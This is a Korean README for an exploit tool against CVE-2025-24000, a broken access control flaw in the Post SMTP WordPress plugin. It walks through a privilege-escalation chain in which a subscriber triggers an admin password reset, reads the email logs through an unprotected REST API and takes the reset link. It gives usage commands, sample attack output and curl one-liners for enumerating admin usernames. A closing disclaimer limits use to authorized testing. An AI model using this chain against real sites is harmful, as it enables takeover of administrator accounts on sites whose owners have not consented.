CVE-2025-24000 — Post SMTP 권한 상승 익스플로잇

개요

이 스크립트는 Post SMTP WordPress 플러그인(버전 ≤ 3.2.0)의 심각도가 높은 손상된 접근 제어 취약점인 CVE-2025-24000을 악용합니다. 이 취약점을 통해 낮은 권한의 계정(예: 구독자)을 가진 모든 인증 사용자가 플러그인의 REST API 이메일 로그에 접근하고, 관리자 비밀번호 재설정 링크를 탈취하여 관리자 계정을 장악할 수 있습니다.

CVE: CVE-2025-24000
플러그인: Post SMTP (WPExperts)
영향을 받는 버전: ≤ 3.2.0
수정 버전: 3.3.0
CVSS 점수: 8.8 (높음)
영향: 권한 상승 → 전체 관리자 계정 탈취

작동 방식

이 취약점은 플러그인의 REST API에 있는 결함이 있는 권한 검사에서 비롯됩니다:

// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

로그인한 모든 사용자는 역할에 관계없이 관리자 전용 엔드포인트에 접근할 수 있습니다:

GET /wp-json/psd/v1/get-logs
GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
POST /wp-json/psd/v1/resend-email

익스플로잇 체인

낮은 권한의 WordPress 계정(구독자)을 등록하거나 기존 계정을 사용합니다
로그인하고 /wp-admin/에서 WP REST nonce를 획득합니다
관리자 계정에 대한 비밀번호 재설정을 트리거합니다
보호되지 않은 REST API를 통해 이메일 로그를 읽습니다
로그에서 비밀번호 재설정 링크를 추출합니다
재설정 링크를 사용하여 새 관리자 비밀번호를 설정합니다
관리자로 /wp-admin에 로그인합니다

요구 사항

Python 3.x
requests 라이브러리 (pip install requests)
대상 WordPress 사이트에 등록된 계정 (구독자 수준이면 충분합니다)

사용법

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

인수

Argument	설명
`--url`

예시

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

예상 출력

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

팁

관리자 사용자 이름을 모르는 경우 WP REST API를 통해 열거하십시오:
```
curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
```
또는 작성자 열거를 통해:
```
curl -s 'http://target.local/?author=1' -I | grep -i location
```
재설정 링크는 일회용이며 만료됩니다 — 추출 직후 즉시 사용하십시오
로그가 비어 있으면 사이트가 (PHP 메일이 아닌) Post SMTP를 통해 메일을 보내도록 구성되어 있는지 확인하십시오

참고 자료

Patchstack 권고: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
GitHub 권고: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
재현 가이드: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

면책 조항

이 도구는 공인된 침투 테스트 및 교육 목적으로만 사용됩니다. 테스트할 명시적 권한이 없는 시스템에는 사용하지 마십시오.

CVE-2025-24000-exploit

인기